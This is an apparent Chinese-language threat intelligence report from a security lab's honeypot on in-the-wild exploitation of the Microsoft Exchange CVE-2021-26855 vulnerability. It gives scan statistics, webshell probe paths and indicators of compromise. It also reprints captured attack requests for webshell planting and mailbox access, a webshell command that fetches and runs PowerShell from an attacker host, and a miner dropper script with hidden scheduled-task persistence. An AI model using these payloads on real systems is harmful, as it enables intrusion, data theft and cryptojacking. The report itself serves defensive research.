Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

背景介绍

2021年3月2号,微软披露了Microsoft Exchange服务器的远程代码执行漏洞[1]

2021年3月3号开始,360网络安全研究院Anglerfish蜜罐开始模拟和部署Microsoft Exchange蜜罐插件,很快我们搜集到大量的漏洞检测数据,目前我们已经检测到攻击者植入Webshell,获取邮箱信息,甚至进行XMRig恶意挖矿(http://178.62.226.184/run.ps1)的网络攻击行为。根据挖矿文件路径名特征,我们将该Miner命名为Tripleone。

2021年3月6号开始,ProjectDiscovery和微软CSS-Exchange项目相继披露了漏洞检测脚本[2][3]

Microsoft Exchange服务器的远程代码执行漏洞利用步骤复杂,一般从PoC公布到黑色产业攻击者利用需要一定的时间,我们看到这个攻击现象已经开始了。

CVE-2021-26855 植入Webshell

POST /ecp/j2r3.js HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json; charset=utf-8
Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.
msExchLogonMailbox: S-1-5-20
Content-Length: 381

{"properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test1337.aspx"}}, "identity": {"DisplayName": "OAB (Default Web Site)", "__type": "Identity:ECP", "RawIdentity": "7280d03f-194a-4bf3-98a7-076e7728321d"}}

CVE-2021-26855 获取邮箱信息

POST //ecp/ssrf.js HTTP/1.1
Host: {target}
Connection: close
Accept-Encoding: gzip
Accept: */*
User-Agent: Hello-World
Content-Type: text/xml
Cookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;
Content-Length: 756



    
        
            
                Default
            
            
                
                    
                        admin@domain.tld
                    
                
            
        
    

CVE-2021-26855 挖矿攻击

POST /owa/auth/test1337.aspx HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 211
Content-Type: application/x-www-form-urlencoded

code=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B

攻击者通过http://178.62.226.184/run.ps1文件植入XMRig挖矿程序,以下是攻击详情:

$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue
if($ProcessActive -eq $null)
{
new-item c:\temp\111 -itemtype directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://178.62.226.184/config.json","C:\temp\111\config.json")
$WebClient.DownloadFile("http://178.62.226.184/javacpl.exe","C:\temp\111\javacpl.exe")
$WebClient.DownloadFile("http://178.62.226.184/WinRing0x64.sys","C:\temp\111\WinRing0x64.sys")
Start-Process -Filepath "C:\temp\111\javacpl.exe"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "App2" -Description "Check"
  
}
else
{	
Write-host "run"
}

Anglerfish蜜罐数据视野

2021年3月6日开始,360网络安全研究院Anglerfish蜜罐系统监测到Microsoft Exchange漏洞(CVE-2021-26855)扫描,截至日前,扫描源IP地址地理位置分布如下:
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

通过对扫描端口分析发现,扫描目的端口主要是443端口(77.3%),其次是80端口(11.3%),如下图:
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

根据分析捕获的扫描流量,扫描源IP ASN(Autonomous System Numbers)主要是Linode, LLC、DiGiTALOCEAN-ASN和LeaseWeb Netherlands B.V.,占比50%以上,扫描整体趋势如下:
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

扫描源IP来自全球各个国家,其中美国占比最大,如下图:
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

对捕获的流量进行分析发现,Top 5的扫描IP占比所有扫描行为的50%,其中159.89.95.163占比达24%,暴露了该IP具有一定的组织性。
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

通过对攻击流量进行分析发现,攻击者已经能够成功利用该漏洞植入Webshell,详情如下图所示:
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

攻击者通过Webshell进一步实施恶意攻击操作,如植入XMRig挖矿程序,详情如下图所示:
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

部分扫描源IP rDNS SLD信息

我们通过简单分析Microsoft Exchange漏洞(CVE-2021-26855)扫描的扫描源IP对应的rDNS信息,可以看到一些组织信息。
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

Webshell 分析

我们监测到大量Webshell路径探测请求,其中大部分是安全厂商和研究机构的扫描行为。
已知Webshell路径如下所示:

GET /aspnet_client/system_web/log.aspx 	1682
GET /aspnet_client/OutlookEN.aspx 	1660
GET /aspnet_client/HttpProxy.aspx 	1643
GET /aspnet_client/aspnet_client.aspx 	1613
GET /aspnet_client/discover.aspx 	1583
GET /aspnet_client/supp0rt.aspx 	1490
GET /owa/auth/OutlookEN.aspx 	1464
GET /aspnet_client/aspnet_iisstart.aspx 	1463
GET /owa/auth/Current/scripts/premium/fexppw.aspx 	1442
GET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx 	1441
GET /aspnet_client/Server.aspx 	1433
GET /owa/auth/8Lw7tAhF9i1pJnRo.aspx 	1428
GET /owa/auth/logg.aspx 	1416
GET /aspnet_client/xx.aspx 	1412
GET /owa/auth/a.aspx 	1403
GET /owa/auth/Current/themes/errorFS.aspx 	1393
GET /owa/auth/errorPage.aspx 	1373
GET /owa/auth/getpp.aspx 	1367
GET /aspnet_client/aspnet_pages.aspx 	1364
GET /owa/auth/default.aspx 	1334
GET /owa/auth/fatal-erro.aspx 	1326
GET /owa/auth/errorPages.aspx 	1322
GET /owa/auth/log.aspx 	1311
GET /owa/auth/shel90.aspx 	1306
GET /owa/auth/Err0r.aspx 	1303
GET /owa/auth/logout.aspx 	1302
GET /aspnet_client/log3.aspx 	1293
GET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx 	1285
GET /owa/auth/RedirSuiteServerProxy.aspx 	1279
GET /aspnet_client/eror.aspx 	1266
GET /aspnet_client/0QWYSEXe.aspx 	1263
GET /owa/auth/current/one1.aspx 	1260
GET /aspnet_client/session.aspx 	1242
GET /aspnet_client/iispage.aspx 	1213
GET /aspnet_client/system_web/logx2.aspx 	1212
GET /owa/auth/Current/themes/resources/owafont_vo.aspx 	1207
GET /aspnet_client/log.aspx 	1207
GET /aspnet_client/WlUtyY.aspx 	1168
GET /aspnet_client/aspnet_www.aspx 	1167
GET /owa/auth/15.0.847/themes/resources/hmask.aspx 	1164
GET /owa/auth/Current/app222.aspx 	1155
GET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx 	1147
GET /owa/auth/ErrorAA.aspx 	1089
GET /owa/auth/one.aspx 	1079
GET /aspnet_client/errorcheck.aspx 	1074
GET /owa/auth/one1.aspx 	1072
GET /aspnet_client/system_web/logfe.aspx 	1064
GET /owa/auth/zntwv.aspx 	1031
GET /owa/auth/Current/themes/resources/owafont_vn.aspx 	1019
GET /owa/auth/shel.aspx 	1016
GET /owa/auth/shel2.aspx 	1011
GET /owa/auth/bob.aspx 	1008
GET /owa/auth/OutlookZH.aspx 	1008
GET /owa/auth/Current/themes/resources/daxlz.aspx 	1001
GET /owa/auth/authhead.aspx 	1000
GET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx 	993
GET /aspnet_client/default1.aspx 	984
GET /aspnet_client/system_web/logon.aspx 	978
GET /aspnet_client/s.aspx 	930
GET /aspnet_client/RedirSuiteServerProxy.aspx 	927
GET /aspnet_client/8aUco9ZK.aspx 	920
GET /aspnet_client/F48zhi6U.aspx 	917
GET /aspnet_client/E3MsTjP8.aspx 	915
GET /aspnet_client/Fc1b3WDP.aspx 	915
GET /aspnet_client/2XJHwN19.aspx 	907
GET /aspnet_client/0q1iS7mn.aspx 	905
GET /aspnet_client/shell.aspx 	901
GET /aspnet_client/McYhCzdb.aspx 	898
GET /aspnet_client/sol.aspx 	893
GET /aspnet_client/aspnettest.aspx 	889
GET /aspnet_client/error_page.aspx 	885
GET /aspnet_client/system_web/error.aspx 	883
GET /aspnet_client/UwSPMsFi.aspx 	882
GET /aspnet_client/web.config.aspx 	878
GET /aspnet_client/shellex.aspx 	876
GET /aspnet_client/uHSPTWMG.aspx 	873
GET /aspnet_client/help.aspx 	868
GET /aspnet_client/load.aspx 	865
GET /aspnet_client/zXkZu6bn.aspx 	858
GET /aspnet_client/ogu7zFil.aspx 	843
GET /owa/auth/shell.aspx 	644
GET /owa/auth/web.aspx 	643
GET /owa/auth/aspnet_client.aspx 	639
GET /owa/auth/errorEEE.aspx 	635
GET /owa/auth/27fib.aspx 	627
GET /owa/auth/errorEE.aspx 	625
GET /owa/auth/b.aspx 	624
GET /owa/auth/aspnettest.aspx 	621
GET /owa/auth/healthcheck.aspx 	621
GET /owa/auth/t.aspx 	620
GET /owa/auth/shellex.aspx 	619
GET /owa/auth/wanlin.aspx 	619
GET /owa/auth/aspnet_iisstart.aspx 	619
GET /owa/auth/errorFF.aspx 	615
GET /owa/auth/test.aspx 	615
GET /owa/auth/document.aspx 	614
GET /owa/auth/xx.aspx 	613
GET /owa/auth/help.aspx 	612
GET /owa/auth/evilcorp.aspx 	611
GET /owa/auth/web.config.aspx 	606
GET /owa/auth/error_page.aspx 	605
GET /owa/auth/aspnet_www.aspx 	603
GET /owa/auth/errorFE.aspx 	601
GET /owa/auth/errorEW.aspx 	597
GET /owa/auth/OutlookDA.aspx 	288
GET /owa/auth/OutlookFR.aspx 	208
GET /owa/auth/OutlookIT.aspx 	187
GET /owa/auth/OutlookDE.aspx 	186
GET /owa/auth/OutlookES.aspx 	182
GET /owa/auth/expiredpassword.aspx 	175
GET /owa/auth/OutlookPL.aspx 	171
GET /owa/auth/OutlookAR.aspx 	165
GET /owa/auth/OutlookSE.aspx 	162
GET /owa/auth/logoff.aspx 	150
GET /owa/auth/OutlookAS.aspx 	146
GET /owa/auth/OutlookIO.aspx 	144
GET /owa/auth/OutlookCN.aspx 	111
GET /aspnet_client/Service.aspx 	88
GET /aspnet_client/1d.aspx 	88
GET /aspnet_client/Metabase.aspx 	86
GET /aspnet_client/7KmCS.aspx 	86
GET /aspnet_client/config.aspx 	79
GET /aspnet_client/cafZCu.aspx 	78
GET /aspnet_client/8lw7tahf9i1pjnro.aspx 	77
GET /aspnet_client/MAlREnavuY.aspx 	77
GET /aspnet_client/a.aspx 	77
GET /aspnet_client/Default.aspx 	76
GET /aspnet_client/ahihi.aspx 	76
GET /aspnet_client/aa.aspx 	76
GET /aspnet_client/aspnet_iistart.aspx 	75
GET /aspnet_client/configs.aspx 	74
GET /aspnet_client/aspnet.aspx 	71
GET /aspnet_client/aspx_client.aspx 	69
GET /aspnet_client/error404.aspx 	67
GET /aspnet_client/bob.aspx 	67
GET /aspnet_client/document.aspx 	67
GET /aspnet_client/authhead.aspx 	67
GET /aspnet_client/current/one1.aspx 	63
GET /aspnet_client/client.aspx 	63
GET /aspnet_client/erroree.aspx 	63
GET /owa/auth/seclogon.aspx 	61
GET /aspnet_client/upnews.aspx 	60
GET /aspnet_client/errorff.aspx 	60
GET /owa/auth/Current/themes/resources/system_io.aspx 	60
GET /owa/auth/15.1.225/scripts/premium/errorPE.aspx 	59
GET /aspnet_client/y3iGH.aspx 	59
GET /owa/auth/Current/themes/resources/errorFE.aspx 	59
GET /owa/auth/Current/AMNBJLXqoHTV.aspx 	59
GET /aspnet_client/errorew.aspx 	59
GET /owa/auth/Current/themes/resources/OutlookQN.aspx 	59
GET /owa/auth/Current/themes/resources/View_tools.aspx 	59
GET /owa/auth/6GIXZG.aspx 	59
GET /aspnet_client/system_web/ogzsis0L.aspx 	59
GET /owa/auth/Current/themes/resources/Ignrop.aspx 	59
GET /aspnet_client/errorpages.aspx 	58
GET /aspnet_client/erroreee.aspx 	58
GET /owa/auth/hmknq.aspx 	57
GET /aspnet_client/system_web/4_0_30319/self.aspx 	57
GET /owa/auth/DesktopShellExt.aspx 	57
GET /aspnet_client/web.aspx 	56
GET /aspnet_client/system_web/9VkFwtxt.aspx 	56
GET /aspnet_client/default.aspx 	56
GET /aspnet_client/soHKY.aspx 	56
GET /aspnet_client/errorpage.aspx 	56
GET /owa/auth/rlvgk.aspx 	54
GET /owa/auth/logerr.aspx 	54
GET /owa/auth/pzbwl.aspx 	54
GET /owa/auth/owaauth.aspx 	54
GET /aspnet_client/est11.aspx 	54
GET /owa/auth/errorcheck.aspx 	53
GET /owa/auth/Current/layout.aspx 	52
GET /owa/auth/Current/themes/resources/logon.aspx 	52
GET /owa/auth/CommonError.aspx 	52
GET /owa/auth/Current/themes/config1.aspx 	52
GET /owa/auth/ErrorDef.aspx 	52
GET /owa/auth/iasads.aspx 	51
GET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx 	51
GET /owa/auth/061a06908b.aspx 	50
GET /owa/auth/Current/zJBxcBoI.aspx 	50
GET /owa/auth/errorew.aspx 	50
GET /aspnet_client/help..aspx 	50
GET /owa/auth/15.0.1497/themes/resources/error.aspx 	50
GET /owa/auth/rwinsta.aspx 	50
GET /aspnet_client/t.aspx 	50
GET /owa/auth/server.aspx 	49
GET /owa/auth/erroreww.aspx 	49
GET /aspnet_client/temp.aspx 	49
GET /owa/auth/frow.aspx 	49
GET /aspnet_client/test007.aspx 	49
GET /owa/auth/fhsvc.aspx 	49
GET /owa/auth/s.aspx 	48
GET /owa/auth/errorpage.aspx 	48
GET /aspnet_client/zEeomtdYcX.aspx 	48
GET /owa/auth/session.aspx 	48
GET /owa/auth/secauth.aspx 	48
GET /owa/auth/Current/Exchanges.aspx 	48
GET /owa/auth/erroree.aspx 	48
GET /owa/auth/atlthunk.aspx 	48
GET /aspnet_client/voqbETdoni.aspx 	48
GET /owa/auth/secauth1.aspx 	48
GET /owa/auth/online.aspx 	48
GET /owa/auth/erroreee.aspx 	48
GET /owa/auth/outlooken.aspx 	48
GET /owa/auth/error.aspx 	47
GET /owa/auth/ProximityService.aspx 	47
GET /owa/auth/outlookfront.aspx 	47
GET /owa/auth/proxylogon.aspx 	47
GET /owa/auth/8lw7tahf9i1pjnro.aspx 	47
GET /owa/auth/ovfwHWjwWm.aspx 	47
GET /owa/auth/qnx.aspx 	47
GET /owa/auth/plorion.aspx 	47
GET /aspnet_client/uyqITYBPew.aspx 	47
GET /owa/auth/outlookru.aspx 	47
GET /aspnet_client/show.aspx 	47
GET /aspnet_client/fatal-erro.aspx 	46
GET /owa/auth/errorfff.aspx 	46
GET /owa/auth/KBDBENE.aspx 	46
GET /owa/auth/OutlookUS.aspx 	46
GET /aspnet_client/system.aspx 	46
GET /owa/auth/login.aspx 	46
GET /owa/auth/letmeinplzs.aspx 	46
GET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx 	46
GET /owa/auth/errorff.aspx 	46
GET /owa/auth/redirsuiteserverproxy.aspx 	45
GET /aspnet_client/signon.aspx 	45
GET /aspnet_client/healthcheck.aspx 	45
GET /aspnet_client/login.aspx 	45
GET /owa/auth/ntprint.aspx 	45
GET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx 	44
GET /aspnet_client/qfmrucnzl.aspx 	44
GET /owa/auth/errorpages.aspx 	44
GET /owa/auth/XblGameSave.aspx 	44
GET /owa/auth/OutlookDN.aspx 	44
GET /aspnet_client/obq.aspx 	44
GET /owa/auth/load.aspx 	44
GET /aspnet_client/logaaa.aspx 	44
GET /owa/auth/discover.aspx 	43
GET /owa/auth/outlookjp.aspx 	43
GET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx 	43
GET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx 	42
GET /aspnet_client/shel90.aspx 	42
GET /aspnet_client/support.aspx 	42
GET /owa/auth/HcDKNzBoha.aspx 	41
GET /owa/auth/multiup.aspx 	41
GET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx 	40
GET /owa/auth/outlookzh.aspx 	40
GET /owa/auth/HUUPItrNpXvI.aspx 	40
GET /owa/auth/dbuj9.aspx 	40
GET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx 	40
GET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx 	39
GET /owa/auth/sol.aspx 	39
GET /owa/auth/httpproxy.aspx 	39
GET /owa/auth/XboxNetApiSvc.aspx 	39
GET /owa/auth/supp0rt.aspx 	39
GET /aspnet_client/one.aspx 	39
GET /owa/auth/signon.aspx 	38
GET /aspnet_client/outlookjp.aspx 	38
GET /owa/auth/OutlookEN.US.aspx 	38
GET /owa/auth/KrhHyDPwb70ct362JmLn.aspx 	38
GET /owa/auth/OutlookUN.aspx 	37
GET /owa/auth/aa.aspx 	36
GET /owa/auth/aaa.aspx 	36
GET /owa/auth/iispage.aspx 	36
GET /aspnet_client/redirsuiteserverproxy.aspx 	36
GET /owa/auth/shelltest.aspx 	35
GET /owa/auth/system_web/log.aspx 	35
GET /owa/auth/aspx_client.aspx 	35
GET /owa/auth/tst1.aspx 	35
GET /owa/auth/tpmvscmgrsvr.aspx 	35
GET /aspnet_client/online.aspx 	34
GET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx 	34
GET /owa/auth/aspnet.aspx 	34
GET /aspnet_client/outlookru.aspx 	34
GET /aspnet_client/outlookzh.aspx 	34
GET /aspnet_client/outlookfront.aspx 	34
GET /aspnet_client/shel.aspx 	33
GET /aspnet_client/logg.aspx 	33
GET /owa/auth/asas.aspx 	33
GET /aspnet_client/server.aspx 	33
GET /owa/auth/tNLPge.aspx 	32
GET /owa/auth/ahihi.aspx 	32
GET /owa/auth/TimeoutLogout.aspx 	32
GET /owa/auth/aspnet_pages.aspx 	32
GET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx 	32
GET /owa/auth/test13037.aspx 	31
GET /aspnet_client/shel2.aspx 	31
GET /aspnet_client/one1.aspx 	31
GET /aspnet_client/httpproxy.aspx 	31
GET /owa/auth/test1337.aspx 	31
GET /owa/auth/signout.aspx 	29
GET /aspnet_client/outlooken.aspx 	28
GET /owa/auth/default1.aspx 	28
GET /owa/auth/theme-gsx8ujzpicf0.aspx 	28
GET /aspnet_client/multiup.aspx 	27
GET /aspnet_client/logout.aspx 	27
GET /owa/auth/theme-vten8snn874b.aspx 	25
GET /aspnet_client/error.aspx 	8
GET /aspnet_client/errorFF.aspx 	8
GET /aspnet_client/errorEE.aspx 	8
GET /owa/auth/OutlookJP.aspx 	6
GET /aspnet_client/errorEW.aspx 	6
POST /aspnet_client/discover.aspx 	5
GET /aspnet_client/errorEEE.aspx 	5
POST /aspnet_client/system_web/logx2.aspx 	4
GET /owa/auth/HttpProxy.aspx 	4
GET /owa/auth/OutlookRU.aspx 	4
GET /aspnet_client/system_web/sol.aspx 	4
GET /aspnet_client/system_web/QBFjM1SC.aspx 	4
GET /aspnet_client/OutlookJP.aspx 	4
GET /aspnet_client/system_web/ioWYM7C4.aspx 	4
GET /owa/auth/Online.aspx 	4
GET /aspnet_client/MultiUp.aspx 	4
GET /owa/auth/Logout.aspx 	4
GET /aspnet_client/system_web/E12B65rm.aspx 	4
GET /aspnet_client/system_web/vY4qLEpG.aspx 	3
GET /aspnet_client/system_web/test.aspx 	3
GET /aspnet_client/Online.aspx 	3
GET /aspnet_client/system_web/3ue5myCq.aspx 	3
GET /aspnet_client/system_web/sJ0f8qHt.aspx 	3
GET /aspnet_client/system_web/cMvBgHLZ.aspx 	3
GET /aspnet_client/system_web/WFk2or3Y.aspx 	3
GET /aspnet_client/system_web/GnCwADKH.aspx 	3
GET /aspnet_client/rabiitch.aspx 	3
GET /aspnet_client/system_web/Cs64LbPk.aspx 	3
GET /aspnet_client/Logout.aspx 	2
GET /owa/auth/WMSPDMOD.aspx 	2
GET /aspnet_client/OutlookRU.aspx 	2
GET /owa/auth/Discover.aspx 	2
GET /aspnet_client/system_web/2TFGNswO.aspx 	2
GET /aspnet_client/Discover.aspx 	2
GET /owa/auth/checkerror635284.aspx 	2
GET /owa/auth/MultiUp.aspx 	2
GET /aspnet_client/system_web/3NHhPxJ5.aspx 	2
GET /aspnet_client/system_web/1A2ZeQOu.aspx 	2
GET /owa/auth/Current/themes/resources/lgnleft.aspx 	2
GET /aspnet_client/checkerror635284.aspx 	2
GET /owa/auth/1d61acae91.aspx 	2
GET /owa/auth/current/themes/resources/error.aspx 	1
GET /aspnet_client/iisstart.aspx 	1
GET /owa/auth/lo.aspx 	1
GET /owa/auth/error404.aspx 	1

Miscrosoft Exchange服务器分布

360 Quake网络空间测绘系统通过对全网资产测绘,发现Microsoft Exchange服务器共3,378,260条数据记录,其中有534,590个独立IP,具体分布如下图所示。
Microsoft Exchange 漏洞(CVE-2021-26855)在野扫描分析报告

联系我们

感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

IoC

IP:

178.62.226.184
157.245.47.214

Miner Proxy:

159.65.206.137:3333

URL:

http://178.62.226.184/mini-reverse.ps1 
http://178.62.226.184/run.ps1
http://178.62.226.184/config.json
http://178.62.226.184/javacpl.exe
http://178.62.226.184/WinRing0x64.sys

MD5:

79e2c9953f452f777d55749f01e5f3b7
2d4d75e46f6de65fba2451da71686322
0fe28f557e9997cd2750ff3fa86a659e
67f2d42e30f6239114feafc9ffd009d8
0c0195c48b6b8582fa6f6373032118da


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